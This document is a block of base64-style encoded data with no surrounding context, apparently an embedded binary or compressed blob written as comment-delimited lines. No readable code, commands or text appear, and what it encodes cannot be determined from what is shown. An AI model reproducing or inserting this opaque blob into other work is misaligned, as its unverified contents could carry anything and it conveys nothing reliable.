y23QveSGda2T+lB5MXkkPI6+lm0hfupW8mV5C1qdHBMq47qH30xPJfosUbZgLFoWQ7y5KbM/8dtH2DswrixQdmTWLHGTDIkUn5l+ # Lwl6W4fZaLU4g2yy2ke0XbyO7LC4hey6uInsvlg1k9l0cTAqLw8jBi7cNY45YnDiK3a52sSlGxh0SEhd7J8s4TWj24lNT2f5XFyd # OYx5YXEPeWOyIY/bICJnOnJYRkcp8PWN7Oj2OjG0Z7HZdGSXkjozETLb/44zt5JGMqiy235ORsJR5OsNGfpuxjbyQEZzD/CkjjLy # SkUBeywjLZfoyXCuYNzM8ZH2Gl7yfUUX+nsH+/9rwvjZDRsoy1WRAZjAZmCmSQZkmsmOmleyW6SJ7ZXrIkEwv2T+TW8V8OVNNDs0 # UyVGZJlKfaSXHZrrIyEwPGZN5ai17vFMzI6zM+ZkOMiPTYWOuyqwh12U68pibMz157PO2ZZ6i9c5ML60PZyba2fpY5inyTOZ2B/N # SZg15PTPCyWzMdJDyrBqyTVZIPrNXViI5IOsUqc2qISOzFAXMuKwQMi0rgszNSiRtWdvJDVmK15nFWSHknqwIsiRrO3k+q4asyjq # 1jlmfFfEG81GWg1QtOUX2XBKynhm6JIIcvSSRHLfEQcYv2U6mLDlF5iypIQuWhLzJ3LTEQbqXbCf3LzlFHl9SQ15cotjArFgSQt5 # aEkE+WZJItsp2kN2zt5Oh2adIY3YNOSE75C3mzOwIMjV7O7ks+xRpza4h38xWFDLfyw4h92Yr3mZ+np1IfpNdQ/6UHbKRXr/ZIe8 # w72U7SG5pyCZm66WJZJelineZLy5NJIctjdjMFJc6yGlLa8gFS0P+wcxa6iAtS0+Rby5VSHR/liaSHy11kIeXbic9S0+RPy+tIau # XKt5j3l0aQf65dDvZOucU2SWnhnw5J6KIOSbHQU7KSXyfOTenhkzOCdnCfC0nkXwj5xT5fk4NuTNH8QHz05wQ8pucCPKnnETSm+M # gH+ScIrllIVuZQcsiyB7LEsl+yxykYdl2csKyU+TMZTVk+jLFP5nLl4WQry+LIN9flkjuXeYgjy47RZYuqyHLlkUU0/N2WSJZv8x # BPlq2nVTmniK75m53MfvkKrYxh+dGkBNyHeTM3O3kK7mnyMzcGnJ1bsSHdF1yE8l/5DrIj3K3k5/lniK/y+U+Zq/zX3LVZEWuiaz # OtZK1ud49zDu53F5mY654gPlbrol8nCt+yeSWm0jlciv53HIX2Xa55ytmh+Vesuty7iTzheVqUrNcJPstN5Ghy11lzCHLPeTI5a4 # rTN1yDxm2XPyVOX65iZy43EpOWe4iZyw31TPnLi9Ryjk+dOHyKrJkuSyAqVkRTDpXJJC1K2TPM6NXVgUx962UqZhtVwWT2avCyEu # rEsjhr9rIole3kU9eLSETLFXkaUtYO2b/1bIOzPWrS8iG1VVk3Jqqjsyja2SdmN1fs/Virn2tivS9ljCSGbnWNpq5Z23JODm7jtZ # t25kdrNZbcm5AaFer9w/mWKu6FQ8XWU09eRx/12oli6wuODT0n1YP6baqX2B+ZBXJfVYT+anVSh61usgvrR6yxOolv7aKvZjnrCb # yB6uVLLO6yF+tHrLS6iVrrJyaecsqknetJrLJaiX/sLrIJ1YPKbd5yRY2LpjZ2iaSKpuJ7GSzkt1tLlJt85B9bOrezJdsIjnQ5iK # H2TzkaJuXNNg4DTPcpiajbFYy1uYip9m4EOYsm5qcZxPJBJuJTLZZyUU2ax/mEpuLzLWpX2S+ahPJtTYT6bBZyXU2F/mWjevL3GR # Tk+/ZrORWm4v80OYhd9m85F4b14950OYlP7Nx/ZnHbSbSY7OSp20u8lubh7xg85I/2cSXmFdsJvKazUP6bF7ypo0bwKy3qcn7NpH # 83WYSmH/ZrKQsjwtlBuSpycA8kQzKM5Ed86xktzwX2SvPQ4bkqV9m9s8TyZfzTOTQPCs5Ks9F6vM8g5hj87xkZJ44mBmTZyKn5ln # JmXkuMj7PQ5ryrEOZSXkuMj3PS2blccOYy/LU5Ko8kXwtz0Ta81wjmK/necgNeeqRzHfyRFLKM5Ef5FnJbXkucmeeh9yT5yUP5Im # jmEfyTOQXeVbyZJ5rNPNUnoc8m6cew/w+TyQv5ZnIX/KsZEWei6zO85C1eV7yTp6oZTbmmcjf8qzk4zwXydk9pNIu6pjP2U1kW7u # L7GD3kF3tXvIFO6dnauxqsp9dJEPtJnKI3UWOtHtInd1Lhtk5A3O8XU1OtJuMzCl2KznD7iXn2jmRudCuJhPtIplmN5GZdiuZY3e # RK+1eco2dC2Pm2dVkgV0k37SbyI12K/kPu4vcYveSLjs3lrnDriY/tovkfruJPGz3ksfsXDjzK7tIltpN5Dd2K3ne7iJ/tHvIy3Y # vedXORTCr7CJ5w24i6+xW8p7dRT60e8g/7V7yqZ0bx1Q4RLKVw0S2cVjJ9g4X2cXhIXs6rJHM3g4X2ddhjWIKDhc52OEhRzi8pNb # BRTNFh5oc5xDJCQ4XOdnhIac7vOQcBzeBucChJs0OL5nq4CYyMxwmcqnDSq5wuMjVDg9pc3jJfAcXw1zvUJNvO6zkZoeLfN/hIYs # dXnK7g4tl7naoyU8cInnIYSU/d7jIEw4P+S+Hlzzj4CYxv3OoyYsOkfzZ4SLLHR7S6/CS1x3cZOZth5pscIjkA4eJfOTwkn87uCl # M3qkmWzpF8nmniWzn5KYyOzvVZA+nlQx2usgXnR5ygNNLDnJy05jDnWpyjFMkjU5PHDPC6SWjndx05iSnmoxziuRsp4mc77SSrzg # 9ZIrTSy52cjOY2U41udwpkhanZybT6vSSTqd6FvMNp0gWOk3ku04rWeR0kf90crOZbqea/MhpIvc5reSnThd51Okhv3R6yRInN4f # 5tVNNnnO6yB+cHrLM6SV/dXJzmZVONVnjVMczbzlF8q7TRTY5PeQfTi/5xMnNY8rz1WSLfJFsnW8iVfniAmanfBPZPd9KqvNdZJ9 # 8D/lSvpccmM8tZA7LF8nR+SbSkG8lw/NdZFS+h4zNF03Mafkmcla+i5yX7yET8r1kcj6XwFyUryaX5Itkbr6JfDXfQ67N95KOfO4 # V5rp8NflWvkhuyjeR7+Vbya35XvLDfM7M3JWvJvfmi+TBfBP5Wb6VPJ7vIj35XCLzdL6a/DZfJC/km8if8q3klXxTEvNavpX05Xv # Im/lesj6fS2bez1eTv+eL5F/5XApTVqAmAwqsZGCBiwwq8JAdC7xktwIuldmrQE2GFIhk/wIr+XKBixxa4CFHFXhJfQGXxhxboCY # jC0QypsBKTi1wkTMLPGR8gZc0FXDpzKQCE5leYCWzCjzksgIvuaqAW8R8rUBN2gtE8vUCUyZ7f7yhwEq+U6DoqMTfQVJBIukuUHR # i7i9I4ZxSFlcgHVGul06gUmWBdFnplGqVG6Q6ZaHUiB4pN0pPsF8WUCi1CtgoqVDngM1S94ANkgbbfeAAODCgQBodUCRFBmyRJsP # 5AcXSwRZO6TQ6i8pQY4sNUmlgkfTw+c3S0DabpeCgQkmD+gQVSX3RUKTFOgyFo0g0NWizFAdn4NgsZEaLsM5AOWgV1hZUgAqx3ow # ktAVtRcVoB47tQofQcaxLUCk6g86ic+gijl1ClagW63rUgJrQQ/Q7eop4VaHUAj2P2qL2qCPqiYJRHzQAhaLBaCjSIj2apXJLC1G # KCo8B6wyUjVagtdi/Hm5Am1AR1m64G+6HR+A5eB5dRGXoCmrA/t/hE9iiXaEUiNqijqgz6o56ol4oGGnabZD6wL6oPxrcDtcdapE # ehbXbLIXDSBTbzi3FYR2P7QRsJ8EUlIaysM5FFmzb4Hq4ERbBXfAgPAqPwxJUis622yidgxfRJVSGLqNyVIF86BY+pwE+hLL2eM4 # hVfudUvf2G6Xg9m6pLwzFvqHYHglHIz0yojA0Ec1As9AcNB8lIDNKab9BSkOLsJ2L1iAb2oA2os24bQlugVthcfsiyQ33of3oEDq # CjqLjOOdk+wKpBNul6DQ6i33nse8Cti9huwxW4DZq4S3UhJ6iFh3wuJAKdUXdUR/UH4WigWgo0iIjCkPRKBbN6rBZmo8SkBnrFJS # BstGKDm7JBp1oQ4ciaTOUUBHairYhN9rVYYO0G+3D9n50CB3D556Apeg0OoPOonPoArqILqErqBLn+uB1VIsaUCNqQr+jJzgu64j # XClKi51FbpEKdUS/UHw1GWjQOTei4QZoIp6I4NAPNRwtRAkpDGSgL5aBVaC2yITtyog2oEG1EEipG25Ab7UC70G60D+1HB9EhdBQ # dQ8fRCXQSlaBSdBqdQWfROXQeXUAX0SVUhi6jK6gcVaBKVNXxY+k6rEV1HYuketSA7Ub0O7YfocfYfoKeIlknXC+kRC1QKxSInkd # tkQq1Rx1RZ9QVdUe9UDDSoL6oX6cNUn84AIWiwWgk0iIjCkPhaCKKRXFoBpqF5qB4NB8tRAnIjFJQRie3tAJa0FpkQ3ZUgArRVhz # fhnZjex86hI6iE9h3Gp1DF1FFp42SD9XjWBN6jJ6gp0jWGdcAKVEL1Aq17YzfN7Ar6o56Ig32DYUjkb6zWwqH0XAVXI82dC6SNqJ # NSMK6CO1Au7DeB4923iAdw/bxzvi9B0/CUnQa22fgOXi+817pAs4rw/oyLIdV0IfPvwUbcU7bLgVSxy5FUnfUBw3osl4aDcO7bJB # m4FgattegIrQfnUa16Hf0BOd27Vog9eqKz0UD0fCu66VwGNt1g7QQx3KwXYDc6Bi6gBqRrFuR1KLbeikYRnbbK23t5ZZ2oTO9Nku # VvTZKTb02SE96fSIp1RulSPVmaTc6p94gXURlqBb7+eCNUlvUMRi/D+Ca4GLJFrxTWhe8VyoMPiAVwa3QDfdj/xFYAi/ivDJYgbU # Px+thI/wd8r13Sq1675U6wp69iyRN7wNSKBwMR8Jw7I+GM3rj5y/Os6A1yI42YN8+eAgdQcfRSZx7Gp1B51EZznmI/Y/RE8Rr9ko # tNEXS86gt6oi6Y19PpEF90QA0VOOWtDASxaJ4lICyUQ6yoLVonQbPH7QBFaIitBXtwLE9aB86ik6iEnQGnUMX0GV8jUpYhxrRU6Q # MwbVAnVEvpEGhIfj5jgajoUiPwlA0jk1GU1E8SkApKA3loFxkQWuRHa0PcUubYDHagQ6hY+gsOocuocuoCrftQ9dRLWpED9ETHOP # 74D6itqgj6o56or598J4AjUZhKBJNxf44NAfNRwkorY9byoZrkB1tRBLahXajg+gIOtkHP09RKTqNLqBLqBzHqpAP1aMm9Ag9Zvf # rxSJJhTqjXqgPCkWD0WikReNexPWC8+FClITSUAbKfdEtrYHrUCHaitzoEDqCTqASdO5F/ExHF9BFVI4qUS2O1aMG9Ag9Rcq+eL4 # hVd8iqSfSoAFoMBqN9GgcikRTcd58mIYWoWyUi1ahNciG1qFCtBFtQW58zm60B+3H+gg6io5jXYJK0TmsL6JL6ArWFbAONqImbD9 # CT7D9FCn77ZVaoedRx35uqSfsjwYiPQpHcWgGmo8S0KJ++FmPslA2sqC1qADHNqBCVISK0Q60Cx3sVySdQKXoHLqIrqAKdB3Voka # c9wS26l8kBSIV6oi6op4oGPVHA9FgpEXh/fdK0Wgimoz1DDQLxWOdgMxoEdbZKAetwnoNXA83ok3YLkJubO/u75T2wH3wEDyGTqA # SdBZdQGXoCqpADeh31PUlvOdEg9E4NPmlvdIslIXtHLgKbUU70B50HPtPoJOoFOuz6OJLeJ+ArmBfBfJh+zqqxbEG9BD9jh6jwAF # 7pfaoOwoegK+NBmB7KBqJbS0yonCsJ6L5KA1lDXBK2TAHroJrkR0VoEK0GW1BxciNjqATqBK3VY9+R4GCW+oo4GcAGo7t0dCIzGg # RykY27LcjJ1qHdSGSBLxnRsXY50a7sb0H7cOxI+g4OoFK0EV0BVWhWpxbjxqx/Qg9wbYs1C0pUatQvM6QBg1Gw5EWhaFwNBnNCHV # Ks+AcuBAmoTSUgXKRBdmQE61DW5AbncbtX0IVqBE9xj7+ZVzzl91SL9gHRaOpaBZKwf40tAhlYZ2L1ryM90DIiX3rUCG2N6JNOLY # FbUNutAsdRSfRGXQe515Cl7FdiXzYrkV1qAHr31GrgbgvKBj1RUNRJIod6JQmw6lwFpyPElASykA5aBVag2xoE9qCTgzE+y9Uhm6 # hJux7jNoPckudB+H7jcJQNJqMFmJ/AjKjFKwzUO4gvOdGa7DPhgqwvQ6tx7FNqAhtQcVoPzqKTqLTOPccuoDty6gc25XIh2qxbkC # ywfgdhNqjrqgXCkZD0WhkRBPRnMFF0sLBTikBmmESXISyUA6yIBsqQOtRIZJQMdqN9qOj6CQqQefQRXR5MH7uoyrkQ9exrw41oib # 0O3qClEPwXgOpUFfUE/VBQ9FopEfhKBpNRLFoKpqFElDKELxOUQ62LWg9tjfBrUPc0h50HuvLWF+HdUOcUj1sgA/hY/QU8UPxMwK # pUGfUHfVCg9FoFD8Uz1WUgwrQRuwrQgexfQQeR5WoFtWjJ9j/FMmG4XU3DLeN2g/D3xioO/b1Qn2w3Rf1x7HBaCQajfQoFs1A85E # Z56ahDGznolXYXoNsyIn1BlSM9qGD6Cg6gU6ii+gyqkC30O/DcM2HOaWnUDbcKfHD8bsDPY9UqCvqhfqg/igUDUd6FIli0Qw0Hy1 # EaSgL5Q7H8xitRTZkx751qBBtRJvRFuRGe9B+dBQdR6XoIrqMylEVqkW3UB1qQA/RU6Qcgd+7SDUC9xX1x/ZgqB3hlqLRIqxzsbZ # jez3ajNxo/4jD0jEcOznCKZXAUngWXkCX0GVUia6jOtSAmpByJL4eGjjSLelRJIpHSdiXgZzYXgcL0SF0HJWgi9h/CZWhK1hXotq # R+JsVNWBfE3qE7cfoCY4pR+E5gp5HKhSM+qPBaOQofG0Uhu1oFIvtqWgGmoN1AspBNuRE69FGtAntQHvQQXQCnRuFaz3KKV2CZfA # yrEBV6DqqR03oEXqCZKPx/EAq1B0Fo/5oMBqK9CgcRY/G370oDs1As7BvPjKjJJSGstAKtBbZ0XpUiCS0A+1B+9ERdBydQCdRKTq # LLqEro/E7Dl3Hdj16gm3lGPydMgbvw5BxDK4R1rOwvRCloRXIPuawVDimWJLQtjEF0h54CJ0Ys1kqxfEz2L6AruCYDzWOOSA9RR2 # 1ByQNGqAtloZrC6RF2s1Stha/V7BuQk+wr4WuWGqLuuo2S710bkmD7QFouK5AMqJY3QEpHmWjtagAxzZi/1acuwseRMfRGey/gK5 # g2wfr0EPc5mOc9xTbLfTFkkpfIHVH/fX42w/FonhkxrEM7F+lx2OFG5CEdugPS7vhcRwvReexfRlWolv6zVIDzm/C9mOkNBRIbVF # PAx4vCkOT0SxDsZSA/RkGXEtoQ+tRkeGwtBUeMuyUzqHLBvzeNeD1Ch9B3lggPY86GgulAUb8jYbCUDiKRgnYv8KI95doAypEm9E # +7L8Ey1AjakJPUF8Rf3ei4SJ+LyAjtiPRDBGvAzQfJaBs7FuFCrC9HhWiTWgbPmc3OohjJ+AZeA5ewrHLqAJVoVpUhxrRQxQYht+ # jqCPqFYbvb5hTGojtoWgk0qIwNBHHJuNYPLYXooQwPPdRGspGuWgV9tvgZrgVHoTHUAk6jy4jH/odPUH8WPxcGOuW2iIVtruiYDQ # QDUXjxu6UNo8tlCRUhLZg3za0B+1Dh9ARdBSdQCdRCTqLLqCLqAyVoyrkw9dpgo8RH47HjbqiPmg0MqJxKDYcP4NQHLbjkRllo1x # UEI7nQjjel6NyVIF9PlSPGtBD9Dt6hJ4iWQS+FgpEKtQedUY9kQb1iXBLA+HgiJ2SHkajGSgD5aI1aB3ahIrRIXQMnURn8Lnn0Hl # sl6EKVIcakGzcTmnqOPzMQjPQrHH4fYtSUBrKQtkoB61CFrQGOdF6tAFtRBLaiorH4T063IPbPQpL0QVUOQ6/z1ADeoyU4/EzFal # QVxSM+qNQNHx8oTQSjUZarMNQNJqIpqI4NAPFo/loIUpBGSgL5aBVaC2yjcfzHxahHeggOj4e7x1hBaxEtdi+hQIj8fyOxO9+2B8 # OjDwsDY90SyORHvvCYCT2T4SzcCweLcT+JJiG/VkwB8dWQTtcj2OFUMKxLXAb9u/Avj1wP/Ydgcew/yS8gP2XUSWqQw+RLAr3B3V # Hwah/lFsKRQOxPRIZUSyaisxRO6VDUYXSEXQUHcO+k+gsOocuokuoDJWjClSJalE9akBN6BF6imTReM1H43dx9E6pK+yDBqOwaHw # v0FQ0H6WgRSgHWZAdrUeFSIrG6xFtQVuxdqM9aB86hI6go+gEOolK0Fl0AV1EZagcVSEf7k89fIxaTCiS2qOeE/A3DDTCMBSN7Yk # oA9sroA2uhxsnHJakCW6pCBVjnxvuxv598BiOnUAl2H8GnsP+i7AMx8rhdViPY43wEY49gfzEw1KLibg2UDWxSOoMu090S8FwMNL # iWCT2z4BmuAY60QZUhNxoPypFZ9EFdBmfX44qsH0d1aPH6ClSxeyUEmIKJTNKQikxeN2jFWgVWotsyI7WofVoA9qMtqCtaBvahfa # h/TF43PA4bvcMvIQqUUMM/h5BT1FgbJHUEXVFwag/GoxGIz0aF1soRaJoNBHrqWgOikcJyIyS0CKUgbLQCrQGrUV2tA4Voo2xbmk # L3I2OoBJ0LhbPVVgPG9Dv2H6Euk/Cc3ESXptwNDROOiyNm4TXJYrFvqlwFvbHwxQcW4SysD8XrsL+tdCOY+vgJrgFx4rhLhzbAw9 # i/xHsOw5PYt9peBb7L8BKdAvHHmI/Pxnfl8n4+pPxnhQloRRkw/6tsBiVotOoEvuUU9xSCzQAhaLIKXhuwFwYNxU/e6dukObAeGh # GAdy6/scLOE7kOC6Pk3Hsf3a/Dr9Ov/mIbRX7PeS3vazZQbKWzZ/v1+HXKVM0f75/XeBfv+5fr/Ov3/D7od/tfnf6PeX3B//n/eh # fPyeXcTNxB3J4GfcZXMZzHDvja775fp3hmx/fI8j+u5d/+n3s9y/YJYDjnsCV2PU3fA4+hYHsC+DLBLHH6lful/er8Kv0G+C3Bew # CW/rXraCa3V84CAb616396+cVzfe7DewA28IoGKRovv8qhYxup52i+XEHE9/JdJjn6Vu0mp3KrWEnca8FsdtaS9tWmjaaeTTtdNR # B206a+TQLaL5Ocx3NN2iup/kmzQ0036JZSPNtmhtpvhPEHvOmoB6Y79KeKrpX1bTfR3tqaM912nOD9tQG4RvB3aT9t+i+3Q5qjVk # XxA7fCWqHWU9n3qUzG+jMe0H4tnGNdP79IPY9a6LPehDUBvMhfe5v9Lm/B7Er+kdQJ/Y8oK/7Z1A3zMd0P/8KCsF8EvQi++4H9WP # f+yB2Vdl/9RLfdxX7inIVe7rwKvZ1FSr2FZUq9rUCVPS9VrHbb6lit9xKxW7zORX73gaq2C23VrHbfF71EvvuqgT2vVWx/3JskIp # 931WqIey7qhqG2V41CrODin31jir2Xe+kisDsrBqP2UXFng9dVTGY3VRTMLurpmP2UM3G7Kmah/mCyoTZS5WKqVYtYc8TFXtW91Z # ZMTWq1zFDVG9j9lG9h/miyoXZV/URZj/VAcz+qh54Nr2kCsEcoBIwBdUwzFCVDvNluiYD6ZoMomsymK7JELomQ+maDKNrMpyuyQi # 6JiPpaoyiqzGarsYYuhpauho6uhp6uhoGuhpGuhoiXY0wuhpj6WqE09WIoKsxjq7GeLoOkXQFouixR9Njn6BajDmRrkAMXYFYugK # T6ApMpiswha7AVLoC0+gKxNEVmK76HHOGyoM5U/UN5izVD5izVb9gzlF5MeeqbmLG09VYTDODrkMmXYcsug5L6Dpk09GlNHNoLqO # ZS3M5zRU0V9JcRfNVusIW2l5H8w2at2nW0bxDs57mXZoNNO/RXNKeXbfs9vqrU6/Op4+kq4uvOq4WXn3/6qWr1VfvX+UqlBWBFeq # KoRUjK8IqYivmVKRUZFdYKt6sKK7YW/FVxQ8Vv1bUVNyuaKhoc63HNeHayGsR16Kvzbi28FrWtbXX1l3bdG3rtV3Xrl67d42rDKr # sWhlSObxydGVYZVTl1MpZlebKxVi/Sh/WynWVH1ceqTxZeabyQmUZulJZXXkXW3JvO29Xr8Y70DvCW1ap9+q9Yd5Yb6I3HR85Xov # X6s33rve+4y3yHvR+gQ+2/yvvae933l+8Xm+D96H3QuVjb8eqsMoXql6oCsHHS1UDq4ZWhVe9UpVRlVv1WpW96i18uKoOVZ2puog # qqvTealRb1fyRjq9bVnm3is2BuJ0nVS2rW1Z3qJ5a2a26W7W6ekD1iGpd9ZTqBfgwV6f6P7KqV1Tb8FFWua66sJp97v/+o6Lq3er # i6u3Vn+Ccw3TeF9Ul8DTmF/Bc9TlsXaquoK9fgu2r1b9V/4UjSl9rXzX2dvB18+m9HXwdfGWVvX0LqtdV6739ff19w3zsc8b6puH # IHN8C3/DKRF+6L8f3mu8Lr9Mn+dy+3b4XcManvi99p33f+3y+Onw89P2N22lT06Gmdw37in1rQmuGV47Atq6mTU1EzYSauTXLal6 # reR0fb+HI5pri6uKaHTX7ao7VnKm5XsNfb3d9OL6vIZgvXR+Fqbs+9rqyovmxRl2Pvc62ptJceD3l+rLrFVX26/+8/un1Njc63+h # 34+Ub7EjWjXU3pBuHb+i9x294bly+UXHj7o0HN57eaFXbtrZTbXBtv9ohtWE4L6Y2rnZhbTdc+eTaxbVrazfWFuPDXXuk9k7t/do # /8PF3reLmczeDbg6s6nSzx81+NwfeHHMz4uaMm6/cTLtZVjnm5gp8FNzcfHPnzb03P7157Oa/bp5Hl272ujXrluPWzlv78PHZrW9 # v/Xrr5q0/bgXeVt3ufLvX7YG3yypn3J5/O/l2xu2lt1fcXoN5uHrrbfftE7e/vv3z7as4XnO7R13vumF1Yl1c3by6tLrsutV1jrq # P6vrVHq5bcZs9W/Te7+su11XULaiurmPrO7ULqm/j2L26R5iX6+R32tzpfOfFO8PuaO/MvJNyJwPrnDuv3llQbb3z5p137lRUvXd # nGz5Cru+688WdgVXf3PnpTs2dP+9w9e3q+9QPqB9WX1aZcSeifmZ9Sv3Selv98Mr36j+pP1afgXPZh6f+cn1jfeDdF+6+eFdAPW4 # Ov9vvpvHu4eoJd6fcnXB33t3Uu8MrF9/9x129t/ju3rsn7t64e+duQMPC63rvidudGjQNoQ1DGsbgQ2yIbGD3f2FDEj4WNWQ3/F2 # 7psHesK6hsGFg1eaGf+JjO7b3NRyi7WMNJxtS755uONdwseEyPiobrjfUYft+g/xey3uFDW3uDbujvpdyh5076t7AqrH3xt6Luqf # 3Tro32/+x4F7avcx77LliuWe7l3+v2bfvVVS9j1xYf3zvU5pfYn5z7wfavoZ5894TzBaNzzeWVXZuVGO+1DgYU9soYk5A0xuXYlo # b2TUqq1zfaLu3GestjW7sqajaje396Ejjvxq/afyx8ZfGikZfY0Pjb41/NSruP3e/3f0u+CirDL4/AlN3P+I+u5UJ96feZ3MW5nx # kvr8Yc+n9jZjS/V2Y++7X3K+oun3/3v0n9/mmNk14ZTcJTewRDmkaDY1NuU0VVZYmW9NbWL3b9AHNDzE/avqs6cumf9G53zSVNZU # 33Wi609TU9KhJ9qDFgzRct9YPOjzo/0D7YGAV+wlaXBv5YAa9943FL5GrbXhsKzieU3KtuACuDdeaa493kp25F/D+tBfXlQvmunO # 9uZ5cHy6E68v15/pxAuYwbgA3ggvlRnIv4/3nQG48N5iL5oZwMZyei+UM3DzOyM3HETM3llvEhXO5XCT+Voji1uOs97kJ3FZuIvc # hN4XbxU3lPuKmc7u5GdzH3EzuCDeLO8nN4Uq4eO4UbuF7bgFXxpm4ci6Bq+Ze4RSyJC5YlsxpZCnceFkaFydbxE2XLebmyjK4ebJ # MLkG2hEuT5XBrZMvwt8Ny7l3ZCq5ItpIrllm4bbLV+LthLeeVWblqmY2rkRVwN2VvcLdkb3K3ZW9xDbJN3EPZu9wj2WbusWyy7C/ # ZDNkT2VwZJ4+XKeXzZM/JF8hayxfK2stNsk7yBFlP+Suy3nKzTJAnyYbIU2Rj5EtkWnm2zCBfKouW58imyZfJZstzZany5bJ0+Qp # ZpnylLFe+SuaQvypzyi2yfPlqWYF8jewt+Wuyd+RrZe/JrbJi+YvyA/K+8k/l/eRH5S/JT8oHyM/KBfk5eaj8e/nL8p/lA+VV8kH # yOvlg+UP5ELmSH4o3n8PkHfjh8q78CHlPfqQ8mB8l78/r5AN5o3wQL8qH8mPlw/gIuZYfJw/jx8sj+Uh5LB8ln8ZHy+P5ifKFfKw # 8gZ8kT+Eny9P5KfIl/FR5Dj9dvpafId/Az5QX8bPkxfxs+cf8HPkBfq7cw8fLv+fnyX/i58u9vElexyfIG/hX5A95s1ypSJR3ViT # JuymS5f0VqfKRijR5lCJdPkGxSD5VkSFfqMiUJyiy5FmKJfJcRbbcolgqf02RI1+nWCYvVOTKixXL5W7FCvlexUr5AcUq+ZeKV+V # fKSzyU4rV8h8Ua+Q/K16TVyjWymsVVvlthU3eoLDLf1M45H8qnPK/FflypbJA/rzydXlH5Tp5Z+Ub8p7K9fKhyjfl0coN8iTlO/J # k5bvyZcr35K8qt8ityg/kbyq3yjcq/yl/X+mSb1OO4Pco5/OfKS38UeVq/nPlGv4L5Wv8l8q1/FdKG+9R2vl/KQv4U8p1/NfKDfw # 3ykL+W+Um/jvlu/z3yi38D8oP+R+VH/E/KXfzPyv38r8oP+F/Ve7nryoP8teUn/Je5TG+WvkFX6M8zt9QevibyhL+tvJf/B1lKX9 # XeY5vUH7H/6Y8z/+hvMj/qfyR/0t5if9b+RPPBZTx8oArvCLgVz4goJxvGeDlnwuo5lsH+Pg2ATf4oIBavl3ATb5DwG2+U0Ad3yX # gDt8toJ7vEdDIvxDwgFcHPOR7B/zGhwT8wb8Y0FnRL6Cron9Ad8VLAT0UAwJ6KoSAXorQgGDFywEaxaCAEMWQgD6KoQH9FcMCXlI # MDxigGIk/pNbskXGX8QY3H9J/7wPWwI/gTfiZ31OwHpbBRnhidbPPzn923kf/df5/n/f/dbv/f8/LPIy/8WAV1sy2pRztn7dbxv3 # 5v1lfeB5/s13B5y/H32Xwt23Nx61448++3nXcTlvsr/c/rqd+//wSf3Nhf9u9Mq4X7AT7wBfgANh/b/N5t3vibyGsRUXz7X7fs/l # 207s1f70qrNl1vez32fEx+PyROD4sqNkIrLVX/v11o/y3nwDDsF7mP38tjIRvwFj4HoyDu+Cc/zjvU//nnYQL4bm9zd/fyzDtP27 # nv89/dt6zz3t2/i2YBX+HuVCxT8ZZ/uPzn52n2te8frb/2fXvg/02OGhf8+PSQ3Z9nn0fXO2az4/yf/5/X8dBAc1O9n/eQr+ZcD1 # cAwv/4zo++/rr9/3P+7Ed681wn3//Mf/tsMfNvn/92zZ/nTP+4+f3Ne+/Couxrvbvb4Q74B9+uU9k3H7YAh75j8e1vAfHHb/y79t # 99jysgyXwRVfz7bb+pPl2O/tV+61d2Xz/Rn3S7NidzX6O18sZqPuk+f5N8h+f6zfFb47/dix+C/z7N/r9wO9Ovwf9Hvf77Hn97Po # 8u27PruOz6/c1zj//H/fnv+/3s/v77P789/39P71fzx7fs8d1CV668u/Xf7l//w1YAZek47UIm7C+wa73/mbZ9WTHe+1vPr+v34F # +2fHb7HHsbzYEz0P28+mZYfubH280vIvjU+EDOM//+Un+48+u37PXQRb2s+//ar/r9jc/j579PNro//z9/s//8tnt+L3st9pvvV/ # uQLPt/fb2O+bA/3x+P3tesufrn+x+K5qvZ/Wq//k8/e/zpx74n8/Tb9fhHeevHLchsPnn2xfr/N9XnHf8P57nz27v2euY3V7Ar/8 # +PnhB8+sl1X8/c2BrHLfBdr/++7o++7n138/HZ8+/Z6+njQea78c1/9dlj7MLbmf7geafP5/CF7Betat5/eznwzHsD8F+j/9xPrv # f3/nXPx1o/vlY6b+fdf7jDf79j/xf94nfFgebbQdfwu32hMPgywebb2+o3wi/M/1m+3X43ex3p98jfr/2e9lvld8HfhWfNtvRb2+ # /L/s1+I3wOwGO+fXfj/vZdfh/dX//b+/ns+/Lf9/fZ4////T7M/dT2f94H/Dzq7hN3H7l2Obzkz5tPv/Z8Rz/13v2c8zhX7Pn7QR # 8Xsvw/9Xe3cDZUPeP/5+Zz8yZ3Z2bc9btnl1yn+R2d+3KXQgh9yFJYltLcrNYNwlJkoQkJElCQkJCQpIkCUmS2CQk90kWSfJ7zZ6 # ZwV6Xb13X/7p+/+//8fhvj/fz/Z7PvM+cOXM+55yZY0WSWpFD30u540XcXM7NKx/kWLH+Rfd2r7t5oZuXu/lDN3/u5t1u/t7NJ8h # d2M5Z8qPkP8kDyLHLZekJcunHI6/T8PJIf6nlkddhortcY2HkcVdfHsl3ueNN3Xyvmx9yc4ab836e/dXjdV7nzvb/6nF62183KNI # /wF327ufp5ZHXpzcfxy+PvH68913vdeX1v7g88vzOdbP3/nXevb3zPuXcznk+nt13re9tN3vrvdutcfdn8/LIfNjt9nm3P7j8xvO # YU+7yRfKLrNdXyNLL+67NJ28//+q45F8RyUXcXNrNldxcy83NVtw4X+5zl7u6efCKa+cRueeP7vJEN7/s5lluLnx/5PE3rhM57vN # XRPL7bt5InsXj+ZI8j3yEvJR8xr19Dc6vneVLLK/cd+18+/FFkfyAu91HeZ9ey3plJZ9/5Bjyp+T8bvbO35zz4a0shxnfSS61MnL # 7wet4L2E5meX95GrueOnAtc8Z53jXXRnZv3tW3vj6r/BWZH/aM36Y9Q+tjJw3dlsZud/MlZH5NWzljefp7cKR7T5KPs7t+pPPkEe # 5/aPCkcc/KRzZjzfd/J7bt9XN2W52/i2sc+QcN+vxke3nc/Ntbq7r5rZu9s6LB7jLo908OT6y3aVu3urm/W4+42YtIZITEiK3q+j # m6m5u5OZWbt8Dbu6dELnfJ938opvfcPNK93Yb3DyF43LR+dx18wo3f+rmvW4+42b9vUgu5OYKbq7v5gfcPNDNz7n5TTevdfNX70W # ej2PkK858JKvZzLNVPP/kuFXufHHzYOZpvuzI+d71nwsVV7nP/6rIeB1y4exr6xu7t2/r9qW5fd7tGs+PLHuvA+/11Yv1JdjOM6s # i832mu7zY3d5qN3/ibudLd/kbN+93x539dq6P73DfD39ade289frHccdDkefDuX52rpd+pq9M9rXxKyxXYFl9P/I6cd5vnbzOzaY # 7XsjNt5Cd+VDWzR/PkqVkbl+J5erkHnWYs2Tn3yBplH1t+1VZ3yL7H7fv7K+TP5p74+funPaReect1+f2zvV2Uze3dXNHN++bGzk # 